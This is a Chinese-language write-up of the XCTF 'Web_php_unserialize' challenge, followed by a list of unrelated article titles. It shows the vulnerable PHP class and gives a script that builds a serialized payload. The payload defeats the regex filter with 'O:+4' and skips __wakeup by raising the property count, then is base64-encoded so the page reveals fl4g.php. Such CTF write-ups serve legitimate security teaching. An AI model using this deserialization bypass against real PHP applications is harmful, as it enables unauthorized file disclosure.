代码审计:

<?php
class Demo { private $file = 'index.php';public function __construct($file) { $this->file = $file; }function __destruct() { echo @highlight_file($this->file, true); }function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php$this->file = 'index.php'; } }
}
if (isset($_GET['var'])) { $var = base64_decode($_GET['var']); if (preg_match('/[oc]:\d+:/i', $var)) { die('stop hacking!'); } else {@unserialize($var); }
} else { highlight_file("index.php");
}
?>

这里看到了__wakeup,猜想是反序列化漏洞,秘密再fl4g.php中哦
(1)实例化对象

<?php
class Demo { private $file = 'index.php';public function __construct($file) { $this->file = $file; }function __destruct() { echo @highlight_file($this->file, true); }function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php$this->file = 'index.php'; } }
}$a=new Demo('fl4g.php');
$b=serialize($a);
echo $b;//输出:
O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}

(2)分析代码

if (isset($_GET['var'])) { //判断var变量是否存在并且非NULL$var = base64_decode($_GET['var']); //bse64解密varif (preg_match('/[oc]:\d+:/i', $var)) { //正则匹配$vardie('stop hacking!'); //停止脚本并输出stop hacking!} else {@unserialize($var); //反序列化$var}
} else { highlight_file("index.php"); //对index.php进行语法高亮显示
}

最终目的是看到fl4g.php里的内容,那么我们需要做到的就两点:

  • 绕过preg_match
  • 绕过__wakeup

(3)payload

<?php
class Demo { private $file = 'index.php';public function __construct($file) { $this->file = $file; }function __destruct() { echo @highlight_file($this->file, true); }function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php$this->file = 'index.php'; } }
}$a=new Demo('fl4g.php');
$b=serialize($a);
echo $b;
echo '<br/>';
$b=str_replace(':1:',':2:',$b);
$b=str_replace(':4:',':+4:',$b);
echo $b;
echo '</br>';
$c=base64_encode($b);
echo $c;
//输出:
O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}
TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

注意:不同修饰符序列化后的值不一样

访问控制修饰符的不同,序列化后属性的长度和属性值会有所不同,如下所示:

public属性被序列化的时候属性值会变成属性名
protected属性被序列化的时候属性值会变成\x00*\x00属性名
private属性被序列化的时候属性值会变成\x00类名\x00属性名
其中:\x00表示空字符,但是还是占用一个字符位置
这就是为什么上面的payload中serialize($a)执行后的序列化字符串中属性file变成Demofile,长度为10

特别注意的是,因为浏览器会自动解码\x00,因此你看到的最后序列化结果为O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";},并没有看到\x00,但实际base64编码是需要加上\x00的,所以最后这个base64编码需要使用php函数才有效(简单来说都在php环境中使用)

如果你使用其它软件base64编码时,经过url解码后的序列化字符串(O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";})也是没有\x00的;但是,你可以使用bp的Decoder模块进行编码,将O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}中的Demo前后添加空字符00,如下:

接下来添加空字符:

(4)执行payload

XCTF-高手进阶区:Web_php_unserialize(详解)相关推荐

  1. 攻防世界web进阶区Web_php_wrong_nginx_config详解

    攻防世界web进阶区Web_php_wrong_nginx_config详解 题目 详解 题目 打开发现无论我们输入什么他都会弹出网站建设不完全 那么我们使用御剑进行扫描,扫描到了admin和robo ...

  2. 攻防世界web进阶区ics-05详解

    攻防世界web进阶区ics-05详解 题目 解法 preg_replace ctype_alnum strpos X-Forwarded-For 题目 我们只能点击一个地方 解法 御剑扫描有一个css ...

  3. 攻防世界web进阶区Web_python_block_chain详解

    攻防世界web进阶区Web_python_block_chain详解 题目 详解 51% 双花攻击 题目 详解 我们整理一下 Announcement: The server has been res ...

  4. 攻防世界web高手进阶区ics-05(XCTF 4th-CyberEarth)WriteUp

    文章目录 解题部分 总结: 解题部分 题目来源 攻防世界web高手进阶区ics-05(XCTF 4th-CyberEarth) 1.拿到题目以后,发现是一个index.php的页面,并且设备-没有显示 ...

  5. 攻防世界 web高手进阶区 10分题 weiphp

    前言 继续ctf的旅程 开始攻防世界web高手进阶区的10分题 本文是weiphp的writeup 解题过程 进入界面 点击 进入一个登陆界面 没有注册 那肯定得找源码了 惯例源码+御剑 发现git泄 ...

  6. 攻防世界 Crypto高手进阶区 3分题 你猜猜

    前言 继续ctf的旅程 攻防世界Crypto高手进阶区的3分题 本篇是你猜猜的writeup 发现攻防世界的题目分数是动态的 就仅以做题时的分数为准了 解题过程 得到一串16进制 504B03040A ...

  7. 攻防世界 Misc高手进阶区 7分题 Russian-zips

    前言 继续ctf的旅程 攻防世界Misc高手进阶区的7分题 本篇是Russian-zips的writeup 发现攻防世界的题目分数是动态的 就仅以做题时的分数为准了 解题过程 得到一个压缩文件 解压要 ...

  8. 攻防世界misc高手进阶区刷题记录

    攻防世界misc高手进阶区刷题记录 easycap 解压出来之后为一个pcap文件,使用wireshark打开 右键追踪TCP数据流即可获得flag flag:385b87afc8671dee0755 ...

  9. 攻防世界 Misc高手进阶区 2分题 再见李华

    前言 继续ctf的旅程 攻防世界Misc高手进阶区的2分题 本篇是再见李华的writeup 发现攻防世界的题目分数是动态的 就仅以做题时的分数为准了 解题过程 下下来一个jpg文件 扔进stegsol ...

  10. 攻防世界 Misc高手进阶区 3分题 信号不好先挂了

    前言 继续ctf的旅程 攻防世界Misc高手进阶区的3分题 本篇是信号不好先挂了的writeup 发现攻防世界的题目分数是动态的 就仅以做题时的分数为准了 解题过程 下下来一个png图片 扔进steg ...

最新文章

  1. oracle数据库查询如何导出大字段,Oracle数据库导出大字段(CLOB)数据-Oracle
  2. mysql忘记密麻麻_mysql忘记密码怎么办
  3. c++ 向量的值逆序输出_C++中vector的常用方法
  4. asp 取数据 计算_ASP.NET Core 简介
  5. java开发框架_Java-程序员感悟-开发人员喜欢的框架之Spring
  6. 斯伦贝谢好进吗_在斯伦贝谢工作是怎样的体验?
  7. 内置Jetty配置JSP支持过程中的常见报错
  8. 万由nas系统安装MySQL_ESXi安装万由OS(U-NAS 3.0.9)
  9. BugKu web题目(bp)弱密码top1000
  10. ES分布式架构的原理
  11. spiders的使用
  12. HTML篇三——(1)
  13. python爬取淘宝数据
  14. java 开发脚本视频_你写脚本,AI自动剪视频:13分钟完成剪辑师7小时创作
  15. 计算机芯片维修论文,中职院校计算机硬件芯片检测及维修的论文
  16. CUDA之GPU生态系统
  17. 计算机网络——网络层——思维导图
  18. keras使用VGG19网络模型实现风格迁移
  19. python3爬虫基本操作——抓取股票信息
  20. docker安装es+mac安装Kibana工具+es查询语法笔记

热门文章

  1. Python3解决UnicodeDecodeError:'utf-8' codec can't decode byte..问题终极解决方案
  2. webpack:多文件、多环境、跨域处理、热加载
  3. 线性回归原理与spark/sklearn实现
  4. spark之3:安装部署
  5. solr添加kerberos认证及授权
  6. slf4j+log4j2的整合配置
  7. Spark内存管理(2)—— 统一内存管理
  8. spark学习:java版JavaRDD与JavaPairRDD的互相转换
  9. SQL表之间复制数据、选出随机几条数据、删除重复数据、取得自增长列等操作...
  10. Spine 2D animation for games